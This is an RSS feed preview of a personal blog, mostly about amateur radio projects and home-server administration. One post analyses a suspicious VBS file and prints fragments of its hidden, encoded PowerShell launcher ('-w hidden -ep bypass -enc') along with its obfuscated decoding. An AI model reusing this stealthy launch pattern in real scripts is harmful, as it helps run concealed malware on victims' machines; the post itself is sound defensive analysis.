Subscribe: Koos van den Hout homepage
http://idefix.net/~koos/index.rdf
Added By: Feedage Forager Feedage Grade A rated
Language: English
Tags:
balun part  balun  band  contacts  length pppoe  length  made  meter band  meter  oid  part  pppoe ses  pppoe  time 
Rate this Feed
Rate this feedRate this feedRate this feedRate this feedRate this feed
Rate this feed 1 starRate this feed 2 starRate this feed 3 starRate this feed 4 starRate this feed 5 star

Comments (0)

Feed Details and Statistics Feed Statistics
Preview: Koos van den Hout homepage

Koos van den Hout homepage



Latest news/thoughts/rants/notablog



Published: Fri, 20 Apr 2018 16:31:01 GMT

Last Build Date: Fri, 20 Apr 2018 16:31:01 GMT

Copyright: Copyright 2005-2015
 



Spam van StoryTel

Fri, 20 Apr 2018 15:49:36 GMT

Spam van StoryTel, waarin het me opvalt dat ze de e-mail marketing spam infrastructuur van mandrillapp gebruiken, maar zelfs zonder manieren om uit te schrijven of iets anders wat nog een beetje rekening houdt met de huidige wetgeving op dat gebied.

Zoeken op storytel spam levert niet veel vergelijkbare verhalen op dus blijkbaar is dit een nieuwe aanpak van StoryTel.

Dan maar via alle routes aangemeld als spam, inclusief een complete melding bij Spam melden bij ACM.



Building my own balun, part 5: First tests of the result

Mon, 16 Apr 2018 19:01:03 GMT

(image)
Homemade balun SWR scan 1-60 MHz 20180415
(image)
Homemade balun SWR scan 10 meter band 20180415
(image)
Homemade balun SWR scan 20 meter band 20180415
So I removed the old balun and installed the one I made. Removing the old one wasn't easy: the Fritzel balun has a cover over the SO239 connector which makes the heavy duty connector I used very hard to unscrew. So I had to break bits of that cover to get the needed access. And the connector ended with a lot more scratches from my attempts to get access to it.

But now the balun is replaced, and measured. And it looks like some things have changed now causing the antenna to be 'mistuned'.

Update: Just some measurements and thinking: adding the big common mode choke in the mix makes the combination show better SWR curves (still not what I want) but with the frequency with the best SWR still too low. This suggests (to me) two things: I need more windings on the ferrite core and less extra wire length from the core to the connectors. Time for a rebuild.

Other parts of this project:



Building my own balun, part 4: Deciding on where to put dipole ends and finishin...

Sun, 15 Apr 2018 20:56:51 GMT

(image) (image) I finally decided where to put the holes in the case for the dipole ends of the balun. This took some serious pondering!

I made those holes, put screws through them and wound the ferrite core with enamelled copper wire. To guess the needed length of wire I first wound it with packing rope, made a small knot at the point where it was enough and unwound the rope to measure the length I used and took a bit longer wire.

Using sanding paper I removed the enamel isolation from the ends of the wires and used soldering tin on it.

Other parts of this project:



I participated in the EA RTTY Contest 2018

Sun, 08 Apr 2018 20:26:00 GMT

As planned I participated in the EA RTTY Contest edition 2018.

I had most of the time to play radio on Sunday so I decided to participate in the SO20DX (single operator 20 meter band outside Spain) category. I did make two contacts on the 40 meter band when I thought I wasn't going to find any new station the 20 meter band but I returned. And found more stations on the 20 meter band.

(image)
Interference pattern on the 20 meter band
Radio propagation was ok, best DX were some Asiatic Russia stations and a US station in Illinois. The local noise was bad and there were some new sources of interference active. The pattern as in the image (links to full view of the 2.5 kHz waterfall) which is very stable in frequency and has a tendency to stop and start, and at the stop the carriers move together. Also a more 'rattling' noise which sounded like an electrical problem.

In the end I made 81 contacts in total, 79 on the 20 meter band.



I'm glad you read my newsitem

Sat, 07 Apr 2018 10:04:14 GMT

Apr  6 23:41:16 greenblatt sshd[25116]: Invalid user squid from 139.99.122.129
Apr  7 01:44:09 greenblatt sshd[3495]: Invalid user squid from 110.10.189.108
Apr  7 08:21:37 greenblatt sshd[7106]: Invalid user squid from 118.24.100.11
I'm glad you read my newsitem about keeping squid running.



And a contact with South Africa, new country

Fri, 06 Apr 2018 21:07:48 GMT

Another new country that should not be too hard to get in the log but did not happen until today: South Africa. ZS6ZA was active on 40 meter FT8 and received my answers.



Keeping squid webproxy running for network mismatches

Fri, 06 Apr 2018 20:11:59 GMT

I considered stopping using squid when upgrading to the new homeserver but I have now changed that decision: I need to keep it running for applications that want to do http connections to IPv6-only systems but can't handle those. There are some old scripts running that need it but it's also the way to fix the problem I noticed with linuxcounter.



25 years of Linux use

Fri, 06 Apr 2018 12:18:46 GMT

(image) In looking at a problem with the linuxcounter script I noticed I am now passing the 25 years with Linux mark. I first saw it in the beginning of 1993 when part of my internship happened at the 'expa' lab (if I recall correctly) of Hogeschool Utrecht with SLS Linux.

Anyway, still using Linux a lot. It's been an interesting 25 years!



I am planning to participate in the EA RTTY Contest

Wed, 04 Apr 2018 20:12:28 GMT

After my participation in the EA PSK63 Contest 2018 I plan to have the radio active in the upcoming weekend for the EA RTTY Contest.



Building my own balun, part 3: First work on the case

Wed, 04 Apr 2018 19:58:58 GMT

(image) (image) The first work on the balun case was placing the SO239 socket. This included drilling a hole in the case of the right size and at the right position. Figuring out where to put it was mostly influenced by the fact that the ferrite core has to be placed inside the case and I wanted the SO239 socket, the ferrite core and the output terminals not all jammed together. So the SO239 socket was not going to be in the center. For this my new caliper was a useful tool and I measured the inside size and the wanted location of the socket. And I figured out I could drill a 16mm hole and the SO239 socket would fit inside while leaving enough room for the mounting flange.

Holes were drilled and things worked out fine, so the SO239 socket is now mounted. After checking the future location I realized I will have to mount the balun with the SO239 socket facing downwards because the antenna cable is quite heavy. This has to be taken into account with the next steps.

Other parts of this project:



Building my own balun, part 2: measuring the 'old' balun

Wed, 04 Apr 2018 07:50:22 GMT

(image)
Fritzel balun SWR scan 1-60 MHz 20180325
(image)
Fritzel balun SWR scan 10 meter band 20180325
(image)
Fritzel balun SWR scan 20 meter band 20180325
Since I want to replace a balun that has been up there for ages I want to be able to compare the two. So I used the antenna analyzer to get graphs of the SWR over the whole possible range (1-60 MHz) and on the amateur bands it was built for: the 10 meter band and the 20 meter band.

There was a very interesting difference with the earlier results on the 10 meter band when I first tested the SARK100 antenna analyzer from Linux. The 10 meter band dipole probably moved a bit or something else changed.

(image)
Fritzel balun SWR scan 1-60 MHz 20180404
(image)
Fritzel balun SWR scan 10 meter band 20180404
(image)
Fritzel balun SWR scan 20 meter band 20180404
So I diverted from my original plan of just documenting the current state and checked and fastened all the wires and screws on the attic dipole. This helped! The difference on the 20 meter band is minimal, the difference on the 10 meter band is serious. So now the correct current state is documented, back to building the new balun.

Other parts:



More FT8 on the 2 meter band

Fri, 30 Mar 2018 12:07:27 GMT

I have now tried FT8 on the 2 meter band several times. One time I received a message via FT8 to try it on the 70cm band too but I haven't figured out the right frequency on that band yet.

DX contacts have been made into England, France and Germany. Furthest 2 meter contact at the moment is 323 kilometers. From the doppler shift I see the most probably reason for these distances is aircraft scatter, which means I'm using big metal reflectors in the sky to bounce my signal, without even paying for an airplane ticket.

I'm looking forward to 'E-skip' and other phenomena that can make 2 meter radio signals reach larger distances. I wonder what that will bring me.



Trying FT8 on the 2 meter band

Sat, 24 Mar 2018 21:05:37 GMT

The different radio bands also have quite different properties. The HF bands below 30 MHz have ionospheric refraction which lets the signal return to earth in far away places. The VHF bands (30-300 MHz) are usually only line of sight, signals usually will not get beyond the horizon.

Recently I saw mention of the FT8 mode on the 2 meter band. Specifically here: Essex 2M Activity Day Update - Essex Ham and VHF FT8 - M1AVV.

This inspired me to give it a try myself. It took a bit of searching to find the right frequency for FT8 on 2 meter. I found out it's 144.178 MHz so I started trying there and soon made my first contacts with Dutch amateurs at reasonable distances. But from time to time I saw signals from further away than was possible, for example England and France. My best guess is that aircrafts reflect the signals. I also saw doppler shift in signals which confirms aircraft reflections.

After a few tries I was able to make my first contacts at nice distances in the Netherlands.



Building my own balun, part 1: idea and parts needed

Mon, 19 Mar 2018 18:10:57 GMT

I was considering hanging a dipole antenna outside. This would need a balun and I realized that I have a good outdoor-capable balun hanging in the attic. It's a Fritzel 1005 1:1 current balun which is good up to 300 watts power.

I am not going to use 300 watts under the roof close to other equipment and the balun there does not need to be rain proof. So the idea was born to build a smaller balun for use under the roof and have the Fritzel balun available for outdoor use.

And last Saturday was a hamfest (radio onderdelenmarkt Rosmalen) so I had an idea of things I wanted for this project.

Parts needed for a current balun:
  • A ferrite core with the right specifications
  • Wire with enamel coating
  • An SO239 socket
  • Terminals for connecting the dipole wires
  • A case
The various collections of electronics parts only missed the SO239 socket and a case. Those were found at the hamfest for a nice price.

The choice of design is a current balun or a voltage balun. I had to do some searching to find a good comparison between the two, and DX engineering has one at Baluns: Choosing the Correct Balun - DX Engineering which has:
Current baluns, rather than voltage baluns, should be used whenever possible. Current baluns provide better balance and often have lower loss. Current baluns, especially 1:1 ratio baluns, tolerate load impedance and balance variations much better than voltage baluns.
Some searches found good explanations of building your own baluns, I found a very clear explanation at VK6YSF project page.

So I'm building a current balun, and when it's finished enough to test it I will measure how it is doing. I have the tools like the SARK100 antenna analyzer that I can control from Linux and a dummy load so I can check everything.

Other parts:



Meer spam voor een Belg

Fri, 16 Mar 2018 10:44:08 GMT

Het gaat rustig door, ruim 5 jaar sinds de eerste spam die te herleiden was tot een belgische lijst. Ook vandaag, dit keer spam voor Desvo veilingen die blijkbaar ook dezelfde spamlijst gekocht hebben.

Tot nu toe was alle spam die ik dacht te herleiden naar deze bron nederlands / vlaams. Gericht op inkopers bij bedrijven. Maar nu eentje in het frans, maar uiteindelijk te herleiden tot Fruit at work die tweetalig werkt. En later op dezelfde dag Neopost weer gewoon in het nederlands maar volgens de mail ook via "B2Best Belgique" die op het web niet terug te vinden is.

Eerder, eerder, eerder, eerder, eerder.



Working on having the right IP address in the apache logs

Thu, 15 Mar 2018 21:01:18 GMT

I noticed the access_log for various websites being tested on the new homeserver all had the IPv6 address of the haproxy I configured in the logs and not the original IP address.

The fun bit is I have set up the right Apache mod_remoteip settings, RemoteIPHeader and RemoteIPInternalProxy and this was tested and working with Require ip rules. But it turns out the default logging formats use the %h logging variable which is not changed by mod_remoteip. Since I want IPv6/IPv4 addresses in the logs that can be resolved later I changed to the %a variable which is the Client IP address which can be changed by mod_remoteip.

Changed options:
LogFormat "%a %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%a %l %u %t \"%r\" %>s %O" common
LogFormat "%a %{HOST}i %l %u %t \"%r\" %s %b %{User-agent}i %{Referer}i -> %U" vcommon



Try anything as an open webproxy

Wed, 14 Mar 2018 15:10:14 GMT

It seems any open port can be tried as an open webproxy. An open webproxy is interesting for hiding tracks or getting around restrictions. But some of the scans are getting stupid. There are still a lot of other tcp-based services, not everything is HTTP.

From recent logs:
Mar 14 13:46:42 greenblatt nnrpd[20297]: 185.100.87.248 unrecognized GET / HTTP/1.0                                                                             
Mar 14 13:46:47 greenblatt nnrpd[20299]: 185.100.87.248 unrecognized OPTIONS / HTTP/1.0                                                                         
Mar 14 13:46:52 greenblatt nnrpd[20301]: 185.100.87.248 unrecognized OPTIONS / RTSP/1.0                                                                         
And this gem of distributed scanning:
Mar  8 08:45:00 greenblatt sm-mta[6355]: w287j0dE006355: 78.84.202.1.static.bjtelecom.net: probable open proxy: command=GET http://www.boxun.com/ HTTP/1.1\r\n
Mar  8 08:45:00 greenblatt sm-mta[6359]: w287j0V0006359: [14.204.118.100]: probable open proxy: command=GET http://www.minghui.org/ HTTP/1.1\r\n
Mar  8 08:45:00 greenblatt sm-mta[6360]: w287j0lM006360: [14.204.94.84]: probable open proxy: command=GET http://www.rfa.org/ HTTP/1.1\r\n
Mar  8 08:45:04 greenblatt sm-mta[6353]: w287j4lq006353: [110.177.75.38]: probable open proxy: command=GET http://www.baidu.com/ HTTP/1.1\r\n
Mar  8 08:45:04 greenblatt sm-mta[6356]: w287j4io006356: [101.249.104.160]: probable open proxy: command=GET http://www.bing.com/ HTTP/1.1\r\n
Mar  8 08:45:04 greenblatt sm-mta[6357]: w287j4h0006357: [119.118.16.42]: probable open proxy: command=GET http://wujieliulan.com/ HTTP/1.1\r\n
Mar  8 08:45:05 greenblatt sm-mta[6358]: w287j5pu006358: [112.66.106.4]: probable open proxy: command=CONNECT www.voanews.com:443 HTTP/1.0\r\n
Mar  8 08:45:05 greenblatt sm-mta[6354]: w287j5bt006354: 36.49.239.221.broad.tj.tj.dynamic.163data.com.cn [221.239.49.36] (may be forged): probable open proxy: command=GET http://www.123cha.com/ HTTP/1.1\r\n
Interesting timing and coordination on this one, looks like some form of central control was involved.



I participated in the EA PSK63 Contest 2018

Mon, 12 Mar 2018 21:43:32 GMT

As planned I participated in the EA PSK63 contest 2018 last weekend. As this contest starts at 16:00 UTC and not the usual 12:00 UTC I decided to again try my luck as single operator on the 40 meter band only (SO 40 DX for this contest).

Contacts were made Saturday evening and Sunday morning and afternoon. Sunday at 12:45 UTC I gave up on finding any new callsigns on the 40 meter band and decided to switch to the 20 meter band. Conditions were not very good and I think I made some errors copying serial numbers or on the decision whether to count a contact as valid. And at least two calls had me in their log but my log was not convinced we made a contact around that time.

In the end I made 125 contacts, 79 on the 40 meter band and 46 on the 20 meter band. Looking at the results of previous years I thought I would end up with a higher ranking with the 79 contacts on the 40 meter band only so I entered in that category. The 20 meter contacts will only count as checking for the other participants.

The one that got away: I saw an amateur from Thailand call CQ but my answer did not make it back there.

A nice contest. I was able to practice fast contacts a bit even in difficult conditions. As usual with all contests I also uploaded my score to the Veron Afdelingscompetitie where our local chapter A08 is doing ok.

Update 2018-04-04: The first feedback is in for the log checking stage. I have 76 valid contacts (out of 79 on the 40 meter band). The checklog for the 20 meter band has 41 valid contacts. Result: 134 points, multiplier 44 and total score 5896.

Update 2018-04-06: And the results of the EAPSK63 contest 2018 are in. 76 valid contacts, 134 points, multiplier 44 and total score 5896. Rank #36 in the SO40 DX category. So I have improved my score but not my ranking.



Obfuscating powershell with -encoded and UTF-16

Mon, 05 Mar 2018 13:33:54 GMT

In some files I noticed a vbs file where I expected something else. Vbs sounds like visual basic script so I directly started looking for malware. And indeed I saw suspicous code, with a for me new type of obfuscation.

The vbs has one really long line, beginning with:
CreateObject("Wscript.Shell").Run("powershell -w hidden -ep bypass -enc aQBuAHYA
bwBrAGUALQBlAHgAcAByAGUAcwBzAGkAbwBuACgAIgB7ADQAOAB9AHsAMQAyAH0AewAyADgAfQB7ADEA
MAAzAH0AewAyADEAfQB7ADkAfQB7ADEAMAA2AH0AewA3ADAAfQB7ADIAOAB9AHsAOAB9AHsAMAB9AHsA
and at the end:
IgByACIALAAiAGsAIgAsACIAYQAiACwAIgAgACIALAAiAHYAIgAsACIAZwAiACwAIgBzACIALAAiAGUA
IgAsACIAbgAiACwAIgArACIALAAiAHQAIgAsACIAcgAiACwAIgAiACwAIgB0ACIALAAiAHAAIgAsACIA
ZQAiACwAIgBlACIALAAiAC8AIgAsACIAZQAiACwAIgBTACIAKQA=")
Which looked very base64-like to me. But standard tools could not find out what it was:
$ base64 -d < base64part | file -
/dev/stdin: data
But with a second look I could make out something:
$ base64 -d < base64part | xxd | less
0000000: 6900 6e00 7600 6f00 6b00 6500 2d00 6500  i.n.v.o.k.e.-.e.
0000010: 7800 7000 7200 6500 7300 7300 6900 6f00  x.p.r.e.s.s.i.o.
0000020: 6e00 2800 2200 7b00 3400 3800 7d00 7b00  n.(.".{.4.8.}.{.
0000030: 3100 3200 7d00 7b00 3200 3800 7d00 7b00  1.2.}.{.2.8.}.{.
0000040: 3100 3000 3300 7d00 7b00 3200 3100 7d00  1.0.3.}.{.2.1.}.
0000050: 7b00 3900 7d00 7b00 3100 3000 3600 7d00  {.9.}.{.1.0.6.}.
0000060: 7b00 3700 3000 7d00 7b00 3200 3800 7d00  {.7.0.}.{.2.8.}.
0000070: 7b00 3800 7d00 7b00 3000 7d00 7b00 3200  {.8.}.{.0.}.{.2.
0000080: 7d00 7b00 3400 3100 7d00 7b00 3100 3100  }.{.4.1.}.{.1.1.
0000090: 3300 7d00 7b00 3600 3600 7d00 7b00 3000  3.}.{.6.6.}.{.0.
Suddenly there is UTF-16 powershell code. Or when I simply cat it to a terminal:
invoke-expression("{48}{12}{28}{103}{21}{9}{106}{70}{28}{8}{0}{2}{41}{113}{66}
[..]
-f "t","2"," ",".","i","f","C","'","c","o","2",")","n","n","0","c","'","/",
It looks like some kind of array mapping, but I have no idea how to decode this into readable code to check what it does. I am quite sure it can't be up to any good if I keep finding levels of obfuscation!



Trying a bit of radio at a holiday park

Sun, 04 Mar 2018 19:15:32 GMT

Last week we were staying in a holiday home in the Ardennen area in Belgium. Temperatures were constantly below zero which can make my fibermast break easily according to the instructions. I also forgot to bring a side cutter so setting up the fibermast with the rubber profile at every level would be hard to take down again. This made it a bad idea to leave it up overnight.

Due to the cold and me having a serious cold as well it took a few days before I got around to a bit of amateur radio. When I got around to setting up the mast it went reasonably well. The ground was frozen so I needed a hammer to get the pegs into the ground for the guy wires. The foot of the fibermast decided to slip away and the tip fell against a wall, but no damage.

When the mast was up and the dipole hanging the local RF noise turned to be at the same S8 level I am used to at home and it was very hard to make a contact. I tried 40 meter FT8 with transmit power dialed back to 25 watt since the radio itself started showing signs of RF interference. One partial contact was made (no full exchange of signal reports).

And then I noticed gardeners working on pruning bushes everywhere and working in my direction so I disassembled the mast again and took all the parts back in.

For next time I may find some plate to anchor the foot of the fibermast so it can't slip away. Maybe a plate with a big hole in it for the mast and two small holes for tent pegs.



I am planning to participate in the EA PSK63 contest 2018

Fri, 02 Mar 2018 21:42:49 GMT

This year I am planning to participate again in the EA PSK63 contest edition 2018. Although the weekend is not completely free there will be time to get as many spanish stations and others in the log as possible.

Time to find out if I can improve my score from participating in the EA PSK63 contest in 2016.



An interesting bug in age-old Perl Net::SNMP code

Thu, 01 Mar 2018 22:03:54 GMT

I recently noticed the network traffic statistics weren't updated correctly for the LAN interface of my Draytek Vigor 130 modem. These statistics were extracted using code that I originally started using at the computer science systems group somewhere in the previous decade. It's all Perl Net::SNMP and not very efficient. I don't know if I wrote it myself or copied from somewhere else, I do know a new bug was introduced.

To understand the code it is important to realize that interface index numbers in SNMP are dynamic. Across a reboot a certain number can change. Interface names are static, but those are never used directly in SNMP.

So to get from a static interface name to a dynamic interface index the interfaces.2.1.2 subtree (ifDescr) has to be fetched from the device and checked for the right names. To get the interface index from an snmp object identifier I used to use this bit of code:
# find the current interface indices for the wanted ^ interfaces
foreach my $oid (oid_lex_sort(keys(%table))) {
    if (oid_base_match($ifTable_ifDesc,$oid)){
#        printf("%s => %s\n", $oid, $table{$oid});
        if (defined $wantstuff{$table{$oid}}){
            $wantstuff{$table{$oid}}{ifindex}=substr($oid,1+rindex($oid,'.'));
            # I am lazy. I fill a hash with the interface indices so I can
            # use it for lookups
            $findvlan{substr($oid,1+rindex($oid,'.'))}=$table{$oid};
        #    printf "Found ifindex %d for %s\n",$wantstuff{$table{$oid}}{ifindex},$table{$oid};
        }
    }
}
But note how the current ifDesc subtree is from the modem:
IF-MIB::ifDescr.1 = STRING: LAN
IF-MIB::ifDescr.4 = STRING: VDSL
IF-MIB::ifDescr.5 = STRING: Resrved
IF-MIB::ifDescr.6 = STRING: 
IF-MIB::ifDescr.7 = STRING: 
IF-MIB::ifDescr.8 = STRING: 
IF-MIB::ifDescr.20.101.1 = STRING: WAN1
IF-MIB::ifDescr.21.101.1 = STRING: WAN2
IF-MIB::ifDescr.22.101.1 = STRING: LAN_PORT1
Using that rindex function there are 4 instances of index 1. Which caused the very similar code looking for the ifInOctets, ifOutOctets and other counters to overwrite the result for index 1 with those from WAN1, WAN2 and LAN_PORT1.

So that code is now improved, no more rindex but a well-defined use of length:
# find the current interface indices for the wanted ^ interfaces
foreach my $oid (oid_lex_sort(keys(%table))) {
    if (oid_base_match($ifTable_ifDesc,$oid)){
        #printf("%s => %s\n", $oid, $table{$oid});
        if (defined $wantstuff{$table{$oid}}){
                        my $intindex=substr($oid,length($ifTable_ifDesc)+1);
                        #printf "Submatch found ifindex %d for %s\n",$intindex,$table{$oid};
            $wantstuff{$table{$oid}}{ifindex}=$intindex;
            # I am lazy. I fill a hash with the interface indices so I can
            # use it for lookups
            $findvlan{$intindex}=$table{$oid};
            #printf "Found ifindex %d for %s\n",$wantstuff{$table{$oid}}{ifindex},$table{$oid};
        }
    }
}



Again new countries in amateur radio in a pair

Mon, 19 Feb 2018 21:17:04 GMT

This evening another two new countries in my amateur radio log: Lebanon and Gibraltar. First OD5ZF from Lebanon and 4 minutes later ZB3M from Gibraltar. That makes three pairs in two months.

These two were both in FT8 mode on the 40 meter band. FT8 is very good at fast contacts at low received signal levels.



I learned event-based programming recently

Sun, 18 Feb 2018 20:35:12 GMT

On 8 and 9 February last week I attended the Surf Security and Privacy conference. SURFcert, the incident response team of SURF, had its own 'side event' within this conference, an escape room. Since the members of SURFcert like to visit escape rooms themselves, the idea was to build our own escape room. A simple one as teams of 2 or 3 people had to solve it within 15 minutes. The best scores were indeed just over 5 minutes so it was doable. The escape room clock The theme of this escape room was the trip Snowden made: from the US to Hongkong to Moscow. Each location had a puzzle and like Snowden the only thing you could take to the next location was knowledge. In this case a 4-digit code to open a lock. Someone else in the SURFcert team did most of the hardware work and I decided to dive into some programming to support this effort. The escape room needed a countdown clock that could only be stopped by the right code. My idea was to use a barcode scanner to link the stop action to scanning the barcode on an object. So I installed a Raspberry Pi with a raspbian desktop and found out how to set up the autorun on the Pi so my program would be started at startup when the user 'pi' logs in automatically. This was done by starting it from ~/.config/lxsession/LXDE-pi/autorun. The program I wrote had three inputs: A reset switch connected to GPIO pin 11 and ground A start button connected to GPIO pin 03 and ground Entering the right barcode to stop the time. In the end this was the barcode of a real Russian bottle of vodka, so my program needed vodka as input For the barcodes I used an usb barcode scanner I have lying around. It behaves like a usb keyboard so scanning a barcode will cause the code to be entered as keystrokes with an enter key at the end, But all programming I do is sequential. This is different, I needed to write an event-based program. It needs to react to time events, enter events and needs to check the state of gpio bits on time events. And on certain events it needs to change the global state (reset, running, stopped). The last time I did any event-based programming was an irc-bot written in Perl 4. So with a lot of google searches, copypasting bits of code, searching a lot for which input bits would be default high and go low when connected to earth and a lot of trying I wrote a program. It uses WxPerl to have a graphical interface and use events. I'm not saying its a good program, but it did the job. Notable things: The OnInit function sets up everything: a window with minimal decorations, tries to set it full-screen, a text box that will show the time and starts at 15:00 as static text. A handler for time events that will be called 10 times per second. And an input box and a handler for when the enter key is pressed. The onTimer function that looks at global state and decides which inputs are valid in that state and handles them The onenter function that calculates a sha256 hash of the input line and checks which inputs can change the global state. The hash was to make sure that someone who could have a look at the source still had no idea what the commands were to control it all via keyboard. And no keyboard was connected anyway. The input for a shutdown is the barcode from one of the loyalty cards I carry around. #!/usr/bin/env perl use warnings; use strict; use Wx; use Wx::Event qw(EVT_TIMER EVT_TEXT_ENTER); package theclock; use Digest::SHA qw(sha256 sha256_hex); use [...]



Two new countries in the log and I participated in the Russian worldwide PSK con...

Sun, 18 Feb 2018 16:59:04 GMT

Two new countries in the PE4KH log: Oman and India. Oman was Friday afternoon when I was home early and decided to turn the dial over the 40 meter band to make some phone contacts and heard A41CK call. Who took my call on the second try!

India was late Friday evening. The call VU2NKS showed up in FT8 and it had a direct pile-up (lots of people answering). But with some persistance from my side and good operating skills from the other side the contact was made.

And this weekend was the Russian Worldwide PSK Contest so I participated Saturday afternoon / evening and a bit Sunday right before 12:00 UTC. I managed to start Saturday 12:00 UTC sharp calling CQ. Which worked at that time for getting contacts. I chose the 40 meter band category because I expected most radio time this weekend would be after sunset.

In the end I made 64 contacts. Not a very high score, but I had times were several contacts happened in short succession so I am improving in digimode contesting.
Band  QSOs Dupes Points Mults
160      0     0      0     0
80       0     0      0     0
40      64     0    388    28
20       0     0      0     0
15       0     0      0     0
10       0     0      0     0
======================================
Total   64     0    388    28
Claimed score is 10864 points

Update: And I already have the digital confirmations (both eQSL and LoTW) of the two new countries.

Update 2018-03-22: results are in: Результаты RUS-WW-PSK 2018 : SO40 - WORLD 60 contacts confirmed, 334 points and 27 multipliers, 9828 points and rank #35 Europe.



Plotting the number of amateur radio contacts

Sun, 11 Feb 2018 16:35:15 GMT

After the end of January I decided to plot the number of contacts again. (image) January is a busy month with two contests for me but I did not make a lot of contacts outside of those contests this year. I added contacts from holidays and the PE4KH/P activities to the total count.

Some more work on the plot script, I think bars look better than a line graph. But you could spend hours in gnuplot making the plot just right...

The new script:
set output "qslcount.png"
set terminal png size 640,300 fontscale 0.7
set timefmt "%Y-%m"
set xlabel "Month"
set ylabel "Number of contacts"
set xdata time
set style fill solid
set xtics format "%b %Y"
set xtics rotate
set grid
set boxwidth 0.75 relative
set autoscale xfixmin
set autoscale xfixmax
plot "dataset-qsocount" using 1:2 title "Contacts/Month" with boxes
Update: And indeed the change in x autoscale was one bit more 'just right'. The first graph was in February 2017: Rising number of amateur radio contacts.



Trying to make me skip the rest of the security report

Fri, 02 Feb 2018 11:05:21 GMT

In the sshd logging today:
sshd[26961]: Invalid user